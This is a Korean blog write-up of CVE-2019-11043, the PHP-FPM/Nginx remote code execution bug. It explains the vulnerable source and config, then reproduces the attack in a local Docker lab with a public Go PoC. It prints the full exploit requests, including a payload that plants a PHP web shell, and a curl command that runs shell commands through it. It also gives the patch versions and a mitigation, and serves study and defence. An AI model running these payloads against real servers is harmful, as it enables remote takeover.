일주일전에 PHP FPM 취약점 관련 내용 및 PoC가 공개되었습니다. RCE가 가능하고, PoC가 워낙 잘 나온 케이스라 아마 대다수가 긴급으로 대응하지 않았을까 싶습니다.

해당 취약점을 정확하게 이해한건 아닙니다.. 현재까지 이해한 수준에서 글로 작성해봅니다....... @_@


Impact & Solution

7.3.11, 7.2.24 미만 버전에서 RCE가 가능합니다. 패치가 최선의 방법이고, 어려울 시 Nginx conf 수정을 통해 임의 대응이 가능합니다.

What is it?

php 소스코드 중 sapi/fpm/fpm/fpm_main.c 부분 중 1140번줄에는 이런 구문이 있습니다.

if (apache_was_here) {
                                /* recall that PATH_INFO won't exist */
                                path_info = script_path_translated + ptlen;
                                tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
                            } else {
                                path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
                                tflag = path_info && (orig_path_info != path_info);
                            }

이 중 path_info에 env_path_info의 산술 연산된 값을 넣는 부분이 있는데, 연산된 값에 대한 검증이 없어서 잘못된 값이 들어갈 수 있다는 버그가 있습니다. 이로인해, path_info 변수에는 잘못된 포인트가 들어갈 수 있습니다.

nginx 구성 중 fastcgi_split_path_info로 요청온 URL을 분리해서, 처리하는 구문을 사용하는 곳들이 있는데, 이 때 개행문자(%0a)를 통해 정규표현식을 넘어갈 수 있습니다.

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

그래서 결국 fastcgi 파라미터인 PATH_INFO에 $fastcgi_path_info를 넣는 과정에서 빈값을 넘길 수 있게 됩니다.

fastcgi_param PATH_INFO $fastcgi_path_info;



이로인해 정상 경로가 있는 것으로 판단하여 FGCI_PUTENV 가 호출되는 로직을 타게됩니다.

if (orig_path_info) {
                                    char old;

                                    FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
                                    old = path_info[0];
                                    path_info[0] = 0;
                                    if (!orig_script_name ||
                                        strcmp(orig_script_name, env_path_info) != 0) {
                                        if (orig_script_name) {
                                            FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
                                        }
                                        SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
                                    } else {
                                        SG(request_info).request_uri = orig_script_name;
                                    }
                                    path_info[0] = old;

공격자가 URL과 쿼리 문자열 길이를 정확하게 맞추면, PATH_INFO를 _fcgi_data_seg의 첫번째 바이트(*pos)로 지정할 수 있고, pos에 0이 들어가면, Underflow가 발생한다고 합니다. (여긴 솔직히 이해가 잘 안가욥..)

typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

아무튼 이 underflow로 인해 fastcgi param 값의 일부를 script path로 덮어쓸 수 있고, 이를 통해 페이크 fastcgi 변수를 만들고, 궁극적으론 체인을 이용하여 코드를 실행할 수 있다고 합니다.
언더 플로우를 찾은것도 대단한데, 트리거 경로를 뽑아낸게 참 신기하네요..
(제가 틀리는 부분이 많이 있을테니, 잘못된건 댓글로 꼭 부탁드려요.)

마지막으로 preconditions를 이렇게 이야기했지만, 개인적인 테스트에선 2번은 상관없었습니다. 다만 이 부분이 핵심적인 부분인데.. 좀 애매하네요.
(솔직히 왜 되는지도 모르겠음)

1. Nginx + php-fpm, location ~ [^/]\.php(/|$) must be forwarded to php-fpm (maybe the regexp can be stricter, see #1).

2. The fastcgi_split_path_info directive must be there and contain a regexp starting with ^ and ending with $, so we can break it with a newline character.

3. There must be a PATH_INFO variable assignment via statement fastcgi_param PATH_INFO $fastcgi_path_info;. At first, we thought it is always present in the fastcgi_params file, but it's not true.

4. No file existence checks like try_files $uri =404 or if (-f $uri). If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.

5. This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see below).

테스팅 환경

다행히 취약 DockerFile가 있어서 편하게 테스트했습니다.
$ git clone https://github.com/neex/phuip-fpizdam
$ cd reproducer

# docker build & run
$ docker build -t test1142 . ; docker run --rm -ti -p 9556:80 test1142

이후 9556 포트로 취약 서버 동작

테스팅

Pre-set

아까 클론한 phuip-fpizdam로 진입해서 go 코드를 빌드합시다.
(의존성 걸리니 go.sum 등은 지워주시고 하는게 걸리적거리지 않습니다.)

$ cd phuip-fpizdam
$ rm -rf go.mod go.sum
$ go build
./phuip-fpizdam

PoC는 간단합니다.

./phuip-fpizdam http://localhost:9556/script.php

Flow

우선 공격코드를 실행하면 타겟을 대상으로 다수의 요청이 발생합니다. 아까 위에서 이야기한 공격자가 길이를 잘 맞추면 _fcgi_data_seg 의 첫번째 바이트를 지정한다고 했었는데, 그 부분입니다. 아래 코드를 보시믄 %0a로 정규식을 통과하고 다량의 스트링을 이용해서 하나씩 길이를 찾습니다.

GET /script.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:43:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 0

보통의 경우 200 OK가 발생하지만, 문제의 지점이 확인되면 500에러가 발생합니다.

GET /script.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu
Connection: close

HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:43:45 GMT
Content-Type: text/html
Content-Length: 182
Connection: close

<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

이 때 공격코드에선 qsl 번호(아까 말한 정확한 숫자값..)을 candidate를 추가합니다.

2019/10/28 18:43:45 Status code 502 for qsl=1765, adding as a candidate

이 순간 실제 서버는.. 에러가 발생합니다.

[28-Oct-2019 09:43:56] WARNING: [pool www] child 13 said into stderr: "free(): invalid size"
[28-Oct-2019 09:43:56] WARNING: [pool www] child 13 exited on signal 6 (SIGABRT) after 697.676326 seconds from start

다시 엄청난 반복 요청이 실행되고, 길이를 맞출 크키(offset?)을 찾습니다.

2019/10/28 18:43:47 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]

그리고 최종적으로 공격코드which which 가 포함된 요청을 던지고, 서버는 이를 실행하게 됩니다.

[ Request ]
GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: localhost.hahwul.com:9556
User-Agent: Mozilla/5.0
D-Pisos: 8============================================================================================================================================================================================D
Ebut: mamku tvoyu
Connection: close


[ Response ]
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:44:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 562

[28-Oct-2019 21:44:04 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[28-Oct-2019 21:44:04 UTC] PHP Fatal error:  Unknown: Failed opening required 'a' (include_path='/tmp') in Unknown on line 0
[28-Oct-2019 21:44:05 UTC] PHP Warning:  Unknown: failed to open stream: No such file or directory in Unknown on line 0
[28-Oct-2019 21:44:05 UTC] PHP Warning:  Unknown: Unable to load dynamic library '/usr/bin/which
' - /usr/bin/which
: cannot open shared object file: No such file or directory in Unknown on line 0

--skip-attack 옵션 시 여기까지 테스트를 진행해서 검증만하고, 공격쿼리까지 던지게 되면 a 파리미터로 외부 커맨드를 받을 수 있게 공격코드를 주입합니다.

실제로 실행되는지?

$ docker ps
$ docker exec -it 8ad37a46f17d /bin/bash
root@8ad37a46f17d:/ mkdir /111; chmod 777 111
root@8ad37a46f17d:/ cd 111

공격코드를 트리거한 상태에서 아래 요청을 던지면..

$ curl http://localhost:9556/script.php\?a\=/bin/sh+-c+%27touch+/111/aa%27
파일이 생겼습니다.

root@8ad37a46f17d:/111# ll
total 8
drwxrwxrwx 2 root     root     4096 Oct 28 22:02 ./
drwxr-xr-x 1 root     root     4096 Oct 28 22:02 ../
-rw-r--r-- 1 www-data www-data    0 Oct 28 22:03 aa

Conclusion

아 이 글도, 엄청나게 많은 수정이 일어날 것 같습니다. 솔직히 취약점을 찾은 것도 대단하지만 PoC 코드를 구성한게 대박입니다. 아직 언더플로우쪽이랑 qsl 부분이 헷갈리긴한데요, 이해되는대로 내용 수정하도록 하겠습니다.

주력 언어를 Ruby에서 Golang으로 바꾸는 중인데, go로된 PoC를 만나니 새삼 또 공부하게 되는 것 같네요..

Reference

https://www.tenable.com/blog/cve-2019-11043-vulnerability-in-php-fpm-could-lead-to-remote-code-execution-on-nginx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11043
https://bugs.php.net/bug.php?id=78599

댓글 2개:

  1. 좋은 정보 감사합니다.
    혹시 보셨을지 모르겠지만 관련 분석 정보가 있는 링크를 올립니다.
    https://paper.seebug.org/1064/

    답글삭제
    답글
    1. 상세하게 정리된거군요~ 좋은 정보 감사합니다 :)

      삭제